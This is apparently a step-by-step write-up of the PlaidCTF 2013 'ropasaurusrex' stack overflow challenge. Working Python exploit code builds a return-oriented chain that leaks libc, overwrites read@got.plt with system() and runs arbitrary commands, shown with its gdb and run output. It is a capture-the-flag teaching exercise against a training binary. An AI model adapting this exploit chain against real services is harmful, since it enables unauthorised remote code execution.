Introduction

This is walkthrough for Ropasaurusrex challenge from PlaidCTF 2013.

Repo for binary: https://github.com/adamdoupe/ctf-training/tree/master/ropasaurusrex

Docker:

docker run -p 127.0.0.1:31337:31337 -it adamdoupe/ropasaurusrex

Crashing the Program:

Enable Core Dumps:

$ ulimit -c unlimited

Sending large string:

$ python -c "print ('A'*300)" | ./ropasaurusrex 
zsh: done                              python -c "print ('A'*300)" | 
zsh: segmentation fault (core dumped)  ./ropasaurusrex

Inspecting core dump:

$ gdb ./ropasaurusrex -q core
Reading symbols from ./ropasaurusrex...
(No debugging symbols found in ./ropasaurusrex)
[New LWP 10136]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
Core was generated by `./ropasaurusrex'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x41414141 in ?? ()
gdb-peda$

EIP Overwritten with0x41414141.

Controlling EIP

$ echo "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9" | ./ropasaurusrex
zsh: done                              echo  | 
zsh: segmentation fault (core dumped)  ./ropasaurusrex

$ gdb ./ropasaurusrex -q core
Reading symbols from ./ropasaurusrex...
(No debugging symbols found in ./ropasaurusrex)
[New LWP 11049]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
Core was generated by `./ropasaurusrex'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x37654136 in ?? ()
gdb-peda$

EIP Offset: 140

$ `locate pattern_offset.rb` -q 0x37654136
[*] Exact match at offset 140

Overwriting EIP:

$ python -c "print ('A'*140 + 'B'*4 + (300-140-4)*'C')" | ./ropasaurusrex
zsh: done                              python -c "print ('A'*140 + 'B'*4 + (300-140-4)*'C')" | 
zsh: segmentation fault (core dumped)  ./ropasaurusrex

$ gdb ./ropasaurusrex -q core                                            
Reading symbols from ./ropasaurusrex...
(No debugging symbols found in ./ropasaurusrex)
[New LWP 11672]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
Core was generated by `./ropasaurusrex'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x42424242 in ?? ()
gdb-peda$ x/20wx $esp
0xbff838c0:     0x43434343      0x43434343      0x43434343      0x43434343
0xbff838d0:     0x43434343      0x43434343      0x43434343      0x43434343
0xbff838e0:     0x43434343      0x43434343      0x43434343      0x43434343
0xbff838f0:     0x43434343      0x43434343      0x43434343      0x43434343
0xbff83900:     0x43434343      0x43434343      0x43434343      0x43434343
gdb-peda$

Protection Mechanisms

$ gdb ./ropasaurusrex -q                                                             
Reading symbols from ./ropasaurusrex...
(No debugging symbols found in ./ropasaurusrex)

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled
gdb-peda$
  • ASLR is disabled on the binary but on the OS it is enabled.
  • NX is enabled.

Functions - read() and write() in PLT

Method 1:

gdb-peda$ info functions 
All defined functions:

Non-debugging symbols:
0x080482fc  __gmon_start__@plt
0x0804830c  write@plt
0x0804831c  __libc_start_main@plt
0x0804832c  read@plt

Method 2:

$ objdump --help
[..]
-D, --disassemble-all    Display assembler contents of all sections
[..]
  • read@plt : 0x0804832c
$ objdump -D ropasaurusrex| grep read@plt
[...]
0804832c <read@plt>:
[...]
  • write@plt : 0x0804830c
0804830c <write@plt>:
 8048442:       e8 c5 fe ff ff          call   804830c <write@plt>

Find GOT address of read()

If we disassemble the read@plt, its an indirect jump to [email protected] and will resolve the address of read() during runtime.

gdb-peda$ disassemble 0x0804832c
Dump of assembler code for function read@plt:
   0x0804832c <+0>:     jmp    DWORD PTR ds:0x804961c
   0x08048332 <+6>:     push   0x18
   0x08048337 <+11>:    jmp    0x80482ec
End of assembler dump.

gdb-peda$ x/xw 0x804961c
0x804961c <read@got.plt>:       0xb7d05440
gdb-peda$ p read
$1 = {ssize_t (int, void *, size_t)} 0xb7d05440 <__GI___libc_read>
gdb-peda$ 

read got address: 0x804961c

Hint: If we can overwrite this address with address of any other function, say system(), any calls to read() will become a call to system.

Useful Gadgets

gdb-peda$ ropgadget
ret = 0x80482ca
popret = 0x80483c3
pop2ret = 0x80483c2
pop3ret = 0x80484b6
pop4ret = 0x80484b5
addesp_12 = 0x80483bf
addesp_44 = 0x80484b2
gdb-peda$

Approach

  • Use write() to read address pointed by ([email protected]) of read() and write it to socket stdout.
  • Calculate offset between system() and leaked read() address.
  • Calculate address of system() by adding/subtracting from the leaked address of read().
  • Use read() function to read a string (/usr/bin/id) from socket stdin and write it to a location - .bss for example.
  • Use read() function to read from socket stdin the address of system() and overwrite [email protected].
  • Call read() which will now call system() with the address of command string stored in memory in previous step.

Implementation

Leaking address of read() function

#!/usrb/bin/env python2

import struct
import re
from socket import create_connection as cc

def p(a):
	return struct.pack("I", a)

def to_address_32(addr):
	# encode to hex string
	addr = addr.encode('hex')

	# split by every 2 characters
	temp = re.findall('..', addr)[::-1]
	return "0x{}".format(''.join(temp))

# fake return address for testing
fake_ret = 0xcafebabe

# EIP Offset 140
payload = b"A"*140

# read@plt and write@plt
read_plt = 0x0804832c
write_plt = 0x0804830c

# pointer to read()'s address
read_got_plt_ptr = 0x804961c

# Step1 - Leak the address of read()

# write()
# ssize_t write(int fd, const void *buf, size_t count);
# write() writes up to count bytes from the buffer starting at buf
#       to the file referred to by the file descriptor fd.

payload += p(write_plt)		# EIP with write@plt
payload += p(fake_ret)		# return address of write@plt, pppr or fake_ret
payload += p(0x1)		# fd; 1 - stdout
payload += p(read_got_plt_ptr)	# read from [email protected] to leak read()'s address
payload += p(0x4)		# read 4 bytes

con = cc(("127.0.0.1",4444))

con.send(payload)
read_leaked = con.recv(4)
print (to_address_32(read_leaked))

con.close

Running the poc against executable listening on localhost 4444:

$ nc -vv -l -p 4444 -e ./ropasaurusrex
listening on [any] 4444 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 36106
zsh: segmentation fault (core dumped)  nc -vv -l -p 4444 -e ./ropasaurusrex

PoC:

$ python2 ropa.py
0xb7d05440

PoC leaks an address, lets verify if its read() function address by inspecting coredump in gdb.

$ gdb ./ropasaurusrex -q core         
Reading symbols from ./ropasaurusrex...
(No debugging symbols found in ./ropasaurusrex)
[New LWP 644]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
Core was generated by `ropasaurusrex'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0xcafebabe in ?? ()
gdb-peda$ p read
$1 = {ssize_t (int, void *, size_t)} 0xb7d05440 <__GI___libc_read>
gdb-peda$

We have successfully leaked address of read().

Finding offset of system() from read() and calculating its address

This is on my kali machine, the target system has a different libc shared library, so offset might be different.

gdb-peda$ p read
$1 = {ssize_t (int, void *, size_t)} 0xb7d05440 <__GI___libc_read>
gdb-peda$ p system
$2 = {int (const char *)} 0xb7c47040 <__libc_system>
gdb-peda$

Offset:

>>> hex(0xb7d05440 - 0xb7c47040)
'0xbe400'

we need to subtract 0xbe400 from leaked address of read() to get address of system().

Note: Few changes are made to the poc.

  • Script is now python3
  • Makes use of pwntools functions.
#!/usrb/bin/env python3

import struct
import re
from socket import create_connection as cc
from pwn import *

def p(a):
	return struct.pack("I", a)

def to_address_32(addr):
	# encode to hex string
	addr = addr.encode('hex')

	# split by every 2 characters
	temp = re.findall('..', addr)[::-1]
	return "0x{}".format(''.join(temp))

# fake return address for testing
fake_ret = 0xcafebabe

# EIP Offset 140
payload = b"A"*140

# read@plt and write@plt
read_plt = 0x0804832c
write_plt = 0x0804830c

# pointer to read()'s address
read_got_plt_ptr = 0x804961c

system_offset = 0xbe400

# Step1 - Leak the address of read()

# write()
# ssize_t write(int fd, const void *buf, size_t count);
# write() writes up to count bytes from the buffer starting at buf
#       to the file referred to by the file descriptor fd.

payload += p32(write_plt)		# EIP with write@plt
payload += p32(fake_ret)		# return address of write@plt, pppr or fake_ret
payload += p32(0x1)		# fd; 1 - stdout
payload += p32(read_got_plt_ptr)	# read from [email protected] to leak read()'s address
payload += p32(0x4)		# read 4 bytes

con = cc(("127.0.0.1",4444))

con.send(payload)
read_leaked = con.recv(4)
read_leaked_addr = u32(read_leaked)
print ("[+] Leaked address of read(): %s" % hex(read_leaked_addr))

system_addr = read_leaked_addr - system_offset
print ("[*] Calculated address of system(): %s" % hex(system_addr))

con.close()

Using pwntools to find the offset of system

Challange libc.so.6 system offset.

>>> from pwn import *
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
>>> libc = ELF("./libc.so.6")
[*] '/home/kali/Desktop/rop/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
>>> libc.symbols[b"system"]
241056
>>> hex(libc.symbols[b"system"])
'0x3ada0'
>>> hex(libc.symbols[b"read"])
'0xd5980'
>>> hex(libc.symbols[b"read"] - libc.symbols[b"system"])
'0x9abe0'
>>>

Local testing kali.

$ ldd ropasaurusrex 
        linux-gate.so.1 (0xb7ee8000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7c00000)
        /lib/ld-linux.so.2 (0xb7eea000)

>>> libc_kali = ELF("/lib/i386-linux-gnu/libc.so.6")
[*] '/lib/i386-linux-gnu/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
>>> hex(libc_kali.symbols[b"read"] - libc_kali.symbols[b"system"])
'0xbe400'
>>>

Reading command to be executed from socket stdin and writing to .bss address

Finding a writable location:

$ objdump -x ropasaurusrex
[..]
24 .bss          00000008  08049628  08049628  00000628  2**2
[..]

.bss address - 08049628

Updating the PoC with first read() to read from socket stdin the command to be executed by system() and store at .bss address.

#!/usrb/bin/env python3

import struct
import re
from socket import create_connection as cc
from pwn import *

def p(a):
	return struct.pack("I", a)

def to_address_32(addr):
	# encode to hex string
	addr = addr.encode('hex')

	# split by every 2 characters
	temp = re.findall('..', addr)[::-1]
	return "0x{}".format(''.join(temp))

# fake return address for testing
fake_ret = 0xcafebabe

# EIP Offset 140
payload = b"A"*140

# read@plt and write@plt
read_plt = 0x0804832c
write_plt = 0x0804830c

# pointer to read()'s address
read_got_plt_ptr = 0x804961c

# system offset from read();
system_offset = 0xbe400

# gadget
pop3ret = 0x80484b6

# buffer for saving command to be run by system
# objdump -x ropasaurusrex
# 24 .bss          00000008  08049628  08049628  00000628  2**2

buf = 0x08049628

# command to run
command = b"/usr/bin/id\x00"


# Step1 - Leak the address of read()
# write to socket stdout the address pointed by [email protected]

# write()
# ssize_t write(int fd, const void *buf, size_t count);
# write() writes up to count bytes from the buffer starting at buf
#       to the file referred to by the file descriptor fd.

payload += p32(write_plt)		# EIP with write@plt
payload += p32(pop3ret)			# return address of write@plt, pppr or fake_ret
payload += p32(0x1)			# fd; 1 - stdout
payload += p32(read_got_plt_ptr)	# read from [email protected] to leak read()'s address
payload += p32(0x4)			# read 4 bytes



# Step 2 - Save the command to run somewhere in memory
# read()
# ssize_t read(int fd, void *buf, size_t count);
# read() attempts to read up to count bytes from file descriptor fd
# 	into the buffer starting at buf.

payload += p32(read_plt)		# read@plt address
payload += p32(fake_ret)		# read@plt's return address; pppr or fake_ret
payload += p32(0x0)			# fd; socket stdin; 0x0
payload += p32(buf)			# *buf; where to save the command; .bss
payload += p32(len(command))		# length of command

con = cc(("127.0.0.1",4444))

con.send(payload)

# reading the address of read() function written to stdout as a result of the write() call.
read_leaked = con.recv(4)
read_leaked_addr = u32(read_leaked)
print ("[+] Leaked address of read(): %s" % hex(read_leaked_addr))

system_addr = read_leaked_addr - system_offset
print ("[*] Calculated address of system(): %s" % hex(system_addr))

# sending the command to be run with system() and store at .bss address
print ("[*] Sending the command to be run with system() to store at .bss address")

con.send(command)

con.close()

Running the poc against ropasaurusrex.

$ python3 ropa.py
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[+] Leaked address of read(): 0xb7d05440
[*] Calculated address of system(): 0xb7c47040
[*] Sending the command to be run with system() to store at .bss address

Inspecting the coredump.

$ nc -vv -l -p 4444 -e ./ropasaurusrex
listening on [any] 4444 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 43096
zsh: segmentation fault (core dumped)  nc -vv -l -p 4444 -e ./ropasaurusrex

$ gdb ./ropasaurusrex -q core         
Reading symbols from ./ropasaurusrex...
(No debugging symbols found in ./ropasaurusrex)
[New LWP 2463]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
Core was generated by `ropasaurusrex'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0xcafebabe in ?? ()
gdb-peda$ x/s 0x08049628		# .bss address
0x8049628:      "/usr/bin/id"
gdb-peda$ 

We have successfully stored the command to be executed at the address of .bss.

Overwriting address pointed by [email protected] with system address

Since we already leaked the address of read() and calculated the address of system(), lets overwrite the address pointed by [email protected] with the address of system().

This will be the second call to read() to read from socket stdin the address of system() and write to address pointed by [email protected].

#!/usrb/bin/env python3

import struct
import re
from socket import create_connection as cc
from pwn import *

def p(a):
	return struct.pack("I", a)

def to_address_32(addr):
	# encode to hex string
	addr = addr.encode('hex')

	# split by every 2 characters
	temp = re.findall('..', addr)[::-1]
	return "0x{}".format(''.join(temp))

# fake return address for testing
fake_ret = 0xcafebabe

# EIP Offset 140
payload = b"A"*140

# read@plt and write@plt
read_plt = 0x0804832c
write_plt = 0x0804830c

# pointer to read()'s address
# address pointed by this will be overwritten with system address
read_got_plt_ptr = 0x804961c

# system offset from read();
system_offset = 0xbe400

# gadget
pop3ret = 0x80484b6

# buffer for saving command to be run by system
# objdump -x ropasaurusrex
# 24 .bss          00000008  08049628  08049628  00000628  2**2

buf = 0x08049628

# command to run
command = b"/usr/bin/id\x00"


# Step1 - Leak the address of read()
# write to socket stdout the address pointed by [email protected]

# write()
# ssize_t write(int fd, const void *buf, size_t count);
# write() writes up to count bytes from the buffer starting at buf
#       to the file referred to by the file descriptor fd.

payload += p32(write_plt)		# EIP with write@plt
payload += p32(pop3ret)			# return address of write@plt, pppr or fake_ret
payload += p32(0x1)			# fd; 1 - stdout
payload += p32(read_got_plt_ptr)	# read from [email protected] to leak read()'s address
payload += p32(0x4)			# read 4 bytes



# Step 2 - Save the command to run somewhere in memory
# read()
# ssize_t read(int fd, void *buf, size_t count);
# read() attempts to read up to count bytes from file descriptor fd
# 	into the buffer starting at buf.


payload += p32(read_plt)		# read@plt address
payload += p32(pop3ret)			# read@plt's return address; pppr or fake_ret
payload += p32(0x0)			# fd; socket stdin; 0x0
payload += p32(buf)			# *buf; where to save the command; .bss
payload += p32(len(command))		# length of command



# Step 3 - Overwrite address pointed by [email protected] with address of system
# read from socket stdin the address of system and write to address pointed by [email protected]


payload += p32(read_plt)		# read@plt
payload += p32(fake_ret)		# return addr of read@plt; pppr or fake_ret
payload += p32(0x0)			# fd; 0 - stdin
payload += p32(read_got_plt_ptr)	# *buf; overwrite [email protected]
payload += p32(0x4)			# overwrite 4 bytes

con = cc(("127.0.0.1",4444))

con.send(payload)

# reading the address of read() function written to stdout as a result of the write() call.
read_leaked = con.recv(4)
read_leaked_addr = u32(read_leaked)
print ("[+] Leaked address of read(): %s" % hex(read_leaked_addr))

system_addr = read_leaked_addr - system_offset
print ("[*] Calculated address of system(): %s" % hex(system_addr))

# sending the command to be run with system() and store at .bss address
print ("[*] Sending the command to be run with system() to store at .bss address")

con.send(command)

# sending the address of system to be read by read() from socket stdin
# and write to address pointed by [email protected]
print ("[*] Sending address of system to overwrite address pointed by [email protected]!")
con.send(p32(system_addr))

con.close()

Testing against the binary.

$ python3 ropa.py 
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[+] Leaked address of read(): 0xb7d05440
[*] Calculated address of system(): 0xb7c47040
[*] Sending the command to be run with system() to store at .bss address
[*] Sending address of system to overwrite address pointed by read@got.plt!

Inspecting the coredump, we can see that the address pointed by [email protected] is overwritten by the address of system(). Excellent!.

$ nc -vv -l -p 4444 -e ./ropasaurusrex
listening on [any] 4444 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 48484
zsh: segmentation fault (core dumped)  nc -vv -l -p 4444 -e ./ropasaurusrex


$ gdb ./ropasaurusrex -q core         
Reading symbols from ./ropasaurusrex...
(No debugging symbols found in ./ropasaurusrex)
[New LWP 5137]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
Core was generated by `ropasaurusrex'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0xcafebabe in ?? ()
gdb-peda$ x/s 0x08049628		# .bss points to the command string
0x8049628:      "/usr/bin/id"
gdb-peda$ x/xw 0x804961c		# read@got.plt points to system
0x804961c <read@got.plt>:       0xb7c47040	# system() address
gdb-peda$ p system
$1 = {int (const char *)} 0xb7c47040 <__libc_system>
gdb-peda$

Now any calls to read() will in fact be a call to system().

Calling system()

The step remaining is to call system() with the command string stored at .bss address.

Final PoC which executes system('/usr/bin/id'):

#!/usrb/bin/env python3

import struct
import re
from socket import create_connection as cc
from pwn import *

def p(a):
	return struct.pack("I", a)

def to_address_32(addr):
	# encode to hex string
	addr = addr.encode('hex')

	# split by every 2 characters
	temp = re.findall('..', addr)[::-1]
	return "0x{}".format(''.join(temp))

# fake return address for testing
fake_ret = 0xcafebabe

# EIP Offset 140
payload = b"A"*140

# read@plt and write@plt
read_plt = 0x0804832c
write_plt = 0x0804830c

# [email protected]
# pointer to read()'s address
# address pointed by this will be overwritten with system address
read_got_plt_ptr = 0x804961c

# system offset from read();
system_offset = 0xbe400

# gadget
pop3ret = 0x80484b6

# buffer for saving command to be run by system
# objdump -x ropasaurusrex
# 24 .bss          00000008  08049628  08049628  00000628  2**2

buf = 0x08049628

# command to run
command = b"/usr/bin/id\x00"


# Step1 - Leak the address of read()
# write to socket stdout the address pointed by [email protected]

# write()
# ssize_t write(int fd, const void *buf, size_t count);
# write() writes up to count bytes from the buffer starting at buf
#       to the file referred to by the file descriptor fd.

payload += p32(write_plt)		# EIP with write@plt
payload += p32(pop3ret)			# return address of write@plt, pppr or fake_ret
payload += p32(0x1)			# fd; 1 - stdout
payload += p32(read_got_plt_ptr)	# read from [email protected] to leak read()'s address
payload += p32(0x4)			# read 4 bytes



# Step 2 - Save the command to run somewhere in memory
# read()
# ssize_t read(int fd, void *buf, size_t count);
# read() attempts to read up to count bytes from file descriptor fd
# 	into the buffer starting at buf.


payload += p32(read_plt)		# read@plt address
payload += p32(pop3ret)			# read@plt's return address; pppr or fake_ret
payload += p32(0x0)			# fd; socket stdin; 0x0
payload += p32(buf)			# *buf; where to save the command; .bss
payload += p32(len(command))		# length of command



# Step 3 - Overwrite address pointed by [email protected] with address of system
# read from socket stdin the address of system and write to address pointed by [email protected]


payload += p32(read_plt)		# read@plt
payload += p32(pop3ret)			# return addr of read@plt; pppr or fake_ret
payload += p32(0x0)			# fd; 0 - stdin
payload += p32(read_got_plt_ptr)	# *buf; overwrite [email protected]
payload += p32(0x4)			# overwrite 4 bytes

# Step 4 - Call system()
# Call read@plt which in turn will call system as we overwrote address [email protected] with address of system()

payload += p32(read_plt)		# read@plt -> [email protected] -> system()
payload += p32(fake_ret)		# return address of system
payload += p32(buf)			# command to run; .bss = buf

con = cc(("127.0.0.1",4444))

con.send(payload)

# reading the address of read() function written to stdout as a result of the write() call.
read_leaked = con.recv(4)
read_leaked_addr = u32(read_leaked)
print ("[+] Leaked address of read(): %s" % hex(read_leaked_addr))

system_addr = read_leaked_addr - system_offset
print ("[*] Calculated address of system(): %s" % hex(system_addr))

# sending the command to be run with system() and store at .bss address
# this will be read by the first read()
print ("[*] Sending the command to be run with system() to store at .bss address")

con.send(command)

# sending the address of system to be read by read() from socket stdin
# and write to address pointed by [email protected]
# this will  be read by the second read

print ("[*] Sending address of system to overwrite address pointed by [email protected]!")
con.send(p32(system_addr))

print ("[+] Receiving the output of the command\n")
cmd_out = con.recv(1024).decode()

print (cmd_out)

con.close()

Running the PoC:

$ python3 ropa.py
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[+] Leaked address of read(): 0xb7d05440
[*] Calculated address of system(): 0xb7c47040
[*] Sending the command to be run with system() to store at .bss address
[*] Sending address of system to overwrite address pointed by read@got.plt!
[+] Receiving the output of the command

uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),115(bluetooth),125(scanner),141(wireshark),143(kaboxer)

Coredump:

$ nc -vv -l -p 4444 -e ./ropasaurusrex
listening on [any] 4444 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 44476
zsh: segmentation fault (core dumped)  nc -vv -l -p 4444 -e ./ropasaurusrex
                                                                             $ gdb ./ropasaurusrex -q core         
Reading symbols from ./ropasaurusrex...
(No debugging symbols found in ./ropasaurusrex)
[New LWP 8345]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
Core was generated by `ropasaurusrex'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0xcafebabe in ?? ()
gdb-peda$ x/s 0x08049628
0x8049628:      "/usr/bin/id"
gdb-peda$ x/xw 0x804961c
0x804961c <read@got.plt>:       0xb7c47040
gdb-peda$ p system
$1 = {int (const char *)} 0xb7c47040 <__libc_system>
gdb-peda$

Final Exploit To Run Any Arbitrary Command

PoC:

#!/usr/bin/env python3


import sys
from socket import create_connection as cc
from pwn import *

# fake return address for testing
fake_ret = 0xcafebabe

# EIP Offset 140
payload = b"A"*140

# read@plt and write@plt
read_plt = 0x0804832c
write_plt = 0x0804830c

# [email protected]
# pointer to read()'s address
# address pointed by this will be overwritten with system address
read_got_plt_ptr = 0x804961c

# system offset from read();
system_offset = 0xbe400

# gadget
pop3ret = 0x80484b6

# buffer for saving command to be run by system
# objdump -x ropasaurusrex
# 24 .bss          00000008  08049628  08049628  00000628  2**2

buf = 0x08049628

# command to run
command = b"%s\x00" % sys.argv[1].encode()


# Step1 - Leak the address of read()
# write to socket stdout the address pointed by [email protected]

# write()
# ssize_t write(int fd, const void *buf, size_t count);
# write() writes up to count bytes from the buffer starting at buf
#       to the file referred to by the file descriptor fd.

payload += p32(write_plt)		# EIP with write@plt
payload += p32(pop3ret)			# return address of write@plt, pppr or fake_ret
payload += p32(0x1)			# fd; 1 - stdout
payload += p32(read_got_plt_ptr)	# read from [email protected] to leak read()'s address
payload += p32(0x4)			# read 4 bytes



# Step 2 - Save the command to run somewhere in memory
# read()
# ssize_t read(int fd, void *buf, size_t count);
# read() attempts to read up to count bytes from file descriptor fd
# 	into the buffer starting at buf.


payload += p32(read_plt)		# read@plt address
payload += p32(pop3ret)			# read@plt's return address; pppr or fake_ret
payload += p32(0x0)			# fd; socket stdin; 0x0
payload += p32(buf)			# *buf; where to save the command; .bss
payload += p32(len(command))		# length of command



# Step 3 - Overwrite address pointed by [email protected] with address of system
# read from socket stdin the address of system and write to address pointed by [email protected]


payload += p32(read_plt)		# read@plt
payload += p32(pop3ret)			# return addr of read@plt; pppr or fake_ret
payload += p32(0x0)			# fd; 0 - stdin
payload += p32(read_got_plt_ptr)	# *buf; overwrite [email protected]
payload += p32(0x4)			# overwrite 4 bytes

# Step 4 - Call system()
# Call read@plt which in turn will call system as we overwrote address [email protected] with address of system()

payload += p32(read_plt)		# read@plt -> [email protected] -> system()
payload += p32(fake_ret)		# return address of system
payload += p32(buf)			# command to run; .bss = buf

con = cc(("127.0.0.1",4444))

con.send(payload)

# reading the address of read() function written to stdout as a result of the write() call.
read_leaked = con.recv(4)
read_leaked_addr = u32(read_leaked)
print ("[+] Leaked address of read(): %s" % hex(read_leaked_addr))

system_addr = read_leaked_addr - system_offset
print ("[*] Calculated address of system(): %s" % hex(system_addr))

# sending the command to be run with system() and store at .bss address
# this will be read by the first read()
print ("[*] Sending the command to be run with system() to store at .bss address")

con.send(command)

# sending the address of system to be read by read() from socket stdin
# and write to address pointed by [email protected]
# this will  be read by the second read

print ("[*] Sending address of system to overwrite address pointed by [email protected]!")
con.send(p32(system_addr))

print ("[+] Receiving the output of the command\n")
cmd_out = con.recv(1024).decode()

print (cmd_out)

con.close()

Run the program:

$ while true; do nc -vv -l -p 4444 -e ./ropasaurusrex; done                                                 
listening on [any] 4444 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 49598
listening on [any] 4444 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 35114
listening on [any] 4444 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 47298
listening on [any] 4444 ...

Sample Output:

$ python3 ropa.py "id"
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[+] Leaked address of read(): 0xb7d05440
[*] Calculated address of system(): 0xb7c47040
[*] Sending the command to be run with system() to store at .bss address
[*] Sending address of system to overwrite address pointed by read@got.plt!
[+] Receiving the output of the command

uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),115(bluetooth),125(scanner),141(wireshark),143(kaboxer)

$ python3 ropa.py "whoami"
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[+] Leaked address of read(): 0xb7d05440
[*] Calculated address of system(): 0xb7c47040
[*] Sending the command to be run with system() to store at .bss address
[*] Sending address of system to overwrite address pointed by read@got.plt!
[+] Receiving the output of the command

kali

$ python3 ropa.py "ls -l" 
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[+] Leaked address of read(): 0xb7d05440
[*] Calculated address of system(): 0xb7c47040
[*] Sending the command to be run with system() to store at .bss address
[*] Sending address of system to overwrite address pointed by read@got.plt!
[+] Receiving the output of the command

total 1848
-rw------- 1 kali kali  253952 Nov  4 09:03 core
-rw-r--r-- 1 kali kali 1786484 Nov  4 06:18 libc.so.6
-rw-r--r-- 1 kali kali    3739 Nov  4 09:03 ropa.py
-rwxr-xr-x 1 kali kali    2948 Nov  4 06:13 ropasaurusrex

Updating the exploit with system() offset from challenge server LIBC.

Updated PoC:

#!/usr/bin/env python3


import sys
from socket import create_connection as cc
from pwn import *

# fake return address for testing
fake_ret = 0xcafebabe

# EIP Offset 140
payload = b"A"*140

# read@plt and write@plt
read_plt = 0x0804832c
write_plt = 0x0804830c

# [email protected]
# pointer to read()'s address
# address pointed by this will be overwritten with system address
read_got_plt_ptr = 0x804961c

# system offset from read();
system_offset = 0x9abe0

# gadget
pop3ret = 0x80484b6

# buffer for saving command to be run by system
# objdump -x ropasaurusrex
# 24 .bss          00000008  08049628  08049628  00000628  2**2

buf = 0x08049628

# command to run
command = b"%s\x00" % sys.argv[1].encode()


# Step1 - Leak the address of read()
# write to socket stdout the address pointed by [email protected]

# write()
# ssize_t write(int fd, const void *buf, size_t count);
# write() writes up to count bytes from the buffer starting at buf
#       to the file referred to by the file descriptor fd.

payload += p32(write_plt)		# EIP with write@plt
payload += p32(pop3ret)			# return address of write@plt, pppr or fake_ret
payload += p32(0x1)			# fd; 1 - stdout
payload += p32(read_got_plt_ptr)	# read from [email protected] to leak read()'s address
payload += p32(0x4)			# read 4 bytes



# Step 2 - Save the command to run somewhere in memory
# read()
# ssize_t read(int fd, void *buf, size_t count);
# read() attempts to read up to count bytes from file descriptor fd
# 	into the buffer starting at buf.


payload += p32(read_plt)		# read@plt address
payload += p32(pop3ret)			# read@plt's return address; pppr or fake_ret
payload += p32(0x0)			# fd; socket stdin; 0x0
payload += p32(buf)			# *buf; where to save the command; .bss
payload += p32(len(command))		# length of command



# Step 3 - Overwrite address pointed by [email protected] with address of system
# read from socket stdin the address of system and write to address pointed by [email protected]


payload += p32(read_plt)		# read@plt
payload += p32(pop3ret)			# return addr of read@plt; pppr or fake_ret
payload += p32(0x0)			# fd; 0 - stdin
payload += p32(read_got_plt_ptr)	# *buf; overwrite [email protected]
payload += p32(0x4)			# overwrite 4 bytes

# Step 4 - Call system()
# Call read@plt which in turn will call system as we overwrote address [email protected] with address of system()

payload += p32(read_plt)		# read@plt -> [email protected] -> system()
payload += p32(fake_ret)		# return address of system
payload += p32(buf)			# command to run; .bss = buf

con = cc(("127.0.0.1",31337))

con.send(payload)

# reading the address of read() function written to stdout as a result of the write() call.
read_leaked = con.recv(4)
read_leaked_addr = u32(read_leaked)
print ("[+] Leaked address of read(): %s" % hex(read_leaked_addr))

system_addr = read_leaked_addr - system_offset
print ("[*] Calculated address of system(): %s" % hex(system_addr))

# sending the command to be run with system() and store at .bss address
# this will be read by the first read()
print ("[*] Sending the command to be run with system() to store at .bss address")

con.send(command)

# sending the address of system to be read by read() from socket stdin
# and write to address pointed by [email protected]
# this will  be read by the second read

print ("[*] Sending address of system to overwrite address pointed by [email protected]!")
con.send(p32(system_addr))

print ("[+] Receiving the output of the command\n")
cmd_out = con.recv(1024).decode()

print (cmd_out)

con.close()

Spinning Up the Docker Container:

